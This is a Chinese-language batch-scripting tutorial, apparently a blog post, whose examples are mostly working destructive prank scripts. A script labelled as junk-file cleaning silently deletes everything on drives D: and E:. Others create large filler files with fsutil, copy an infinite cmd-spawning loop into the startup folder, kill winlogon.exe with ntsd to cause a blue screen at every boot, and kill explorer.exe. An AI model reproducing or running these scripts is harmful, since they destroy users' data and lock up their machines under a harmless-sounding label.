第5节 批处理编写及其示例

0 引言

本文主要介绍了如何创建批处理文件,以及写一些简单的批处理脚本程序,如删除垃圾文件、生成垃圾文件、开机就死循环、定时小程序和蓝屏程序。

1 批处理用以及创建批处理文件

1.1 批处理的作用

成批得处理DOS命令,自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。

1.2 创建批处理文件

(1)新建一个记事本文件,然后将扩展名改为.bat。注意:修改扩展名时,需要将文件的扩展名显示出来后再进行修改。
(2)右键该文件,并点击>>编辑,可以开始编写批处理文件。
(3)批处理文件是以cmd执行的可执行文件,双击即可执行。

2示例

2.1删除垃圾文件

注意:
(1)批处理文件中不能采用#号的注释方式,可以采用其他注释方式,如::等,但均是行注释,本代码为方便逐行注释,采用Python的注释方式。
(2)尽量一行一条命令,然后一行一行去执行

@echo off						#关闭回显功能,屏蔽执行过程,在屏幕上只显示结果,不显示执行过程,
#一般放在首行,常用。
color 0a						#color为设置背景和字体颜色,0代表黑色,a代表绿色,第一个是背景色,第二个
#为字体颜色
title clear program				#title为设置程序标题
echo ==========================
echo clear your program
echo clearing
echo ==========================
pause							#设置暂停,执行到此处暂停,不至于瞬间执行完毕退出,即使后面有命令
#也不执行,等待后续操作,才继续执行,非常常用
echo.							#输出空一行
echo  program is chearing	    #
d: >nul 2>nul					#“nul”是空的意思。“>nul 2>nul”是指无论该命令执行成功与否,均不返回任何提示,防止电脑没有D盘,可能会有提示。
cd\ >nul 2>nul					#返回D盘根目录
rd . /s/q >nul 2>nul			#删除文件及文件夹,部分受系统保护的会提示拒绝访问,使用>nul设置不显示该类提示。
e: >nul 2>nul					#“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul					#返回E盘根目录
rd . /s/q >nul 2>nul			#
ping -n 10 127.0.0.1 >nul 2>nul	#可以增加一些不显示的操作
echo congratulation				#恭喜
pause							#暂停

补充小知识点:
(1)按win+r键,输入cmd,在DOS命令窗口,输入color ?,可以显示各个颜色与数字字母的对应关系。
(2)批处理中,若想显示结果空一行,执行echo. ,否则即使批处理文件中有空行,显示结果也不会空行。

2.2生成垃圾文件

注意:本代码需要以管理员运行

d: >nul 2>nul
cd\ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000

2.3将死循环添加到启动项

2.3.1 “:”冒号的用法

(1)“:”用于定义一个命令区间,可以把若干个命令划分为若干个区块,每个冒号为一个区块,如
:1、:2、:3。
(2)“:”后面可以跟任何符号,包括数字、汉字、英文等,表示对这个区块起个名字。
(3)“:”并不是命令,没有任何操作,但是系统能识别,表示进入某个区块。所以“:”单独使用没有任何意义,需要与goto(跳转)配合使用。

2.3.2 start用法

(1)start 表示开启的意思,后面可以写路径/程序/网页,帮助我们打开某个程序或网页等
(2)若start后面什么都不写,表示打开cmd。

2.3.3 userprofile变量和%%

userprofile是一个变量,是系统自定义的,其值表示当前用户的家目录路径。
%%表示取值,获取变量值。

2.3.4 案例

#下列脚本为一个死循环,名字为“sixunhuan,bat”
:ddd
start
goto ddd

想把“sixunhuan,bat”这个脚本电脑一开机就运行,需要在把这个脚本复制到启动路径下,其中winxp的启动路径为“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”。但是可能不同的系统启动路径不一致,且不一定用Administrator这个用户登录,所以这样不能保证开机就启动死循环程序。因此需要学会利用userprofile这个变量。

copy sixunhuan "%userprofile%「开始」菜单\程序\启动"
:ddd
start
goto ddd

注意:若路径有特殊符号,需要用“”将路径括起来

2.4定时小程序

@echo off
color 0a
title 定时小程序V1.0
:menu
cls
echo ==========================
echo            菜单
echo        1.定时关机
echo        2.取消定时
echo        3.退出
echo ==========================

set /p choose=输入您的选择序号
if "%choose%" =="1" goto 1.定时关机
if "%choose%" =="2" goto 2.取消定时
if "%choose%" =="3" goto 3.退出
echo 别瞎搞,请输入1 2 3。
pause
goto menu

:1.定时关机
set /p time=请输入定时关机时间(单位/s):	
shutdown -s -f -t %time%
goto menu

:2.取消定时
shutdown -a
goto menu

:3.退出
exit

案例解读:
(1)set设置变量,“set /p choose=输入您的选择序号”,其中”choose"为变量,假如不加“/p",则"choose=“后面为变量choose的值,而加了” /p"表示choose变量的值为用户所输入的,后面跟的话只是给用户看的。该行命令是为了给用户选择。
(2)set设置变量,“set /p time=请输入定时关机时间(单位/s):”,其中”time"为变量,假如不加“/p",则time=后面为变量time的值,而加了" /p"表示time变量的值为用户所输入的,后面跟的话只是给用户看的。该行命令是为了给用户设置定时关机时间。
(3)“goto menu” 这行命令是为了执行完1或2区块后程序不会继续往下执行,而是返回菜单。
(4)这个清屏命令是为了执行完1或2区块后程序返回菜单区块后,之前的菜单可以清屏,只是为了美观。
在这里插入图片描述
(5)注意逻辑完整,提示信息完整。

2.5 杀进程命令

2.5.1 针对win2003或winxp杀进程

ntsd -c q pn winlogon.exe  #强制杀死指定名称的进程,其中,ntsd为杀进程,winlogon.exe是windows登录
进程。
#该进程会导致蓝屏,尤其是win2003。
#该命令通过echo结合批处理加入到启动菜单里,会导致开机就蓝屏。

2.5.2 针对win7和win10杀进程

(1)taskkill杀进程

taskkill /im explorer.exe /f  #强制杀死指定名称的进程.其中,taskkill为杀进程,/im为指定进程,后面可
#以跟进程名称,/f表示强制,explorer.exe是windows程序管理器/桌面进程。
#该进程成功率没ntsd成功率高

(2)案例

@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo 什么情况
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 哈哈!吓坏了吧!
pause

tips:
批处理文件也可以称为脚本,在windows系统中称为批处理文件也可以称为DOS脚本,在linux系统中称为shell脚本(在windows系统中的命令称为DOS命令,在linux系统中的命令称为shell命令)。

4参考文献
[1]第4节 批处理文件及示例

  • 1
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值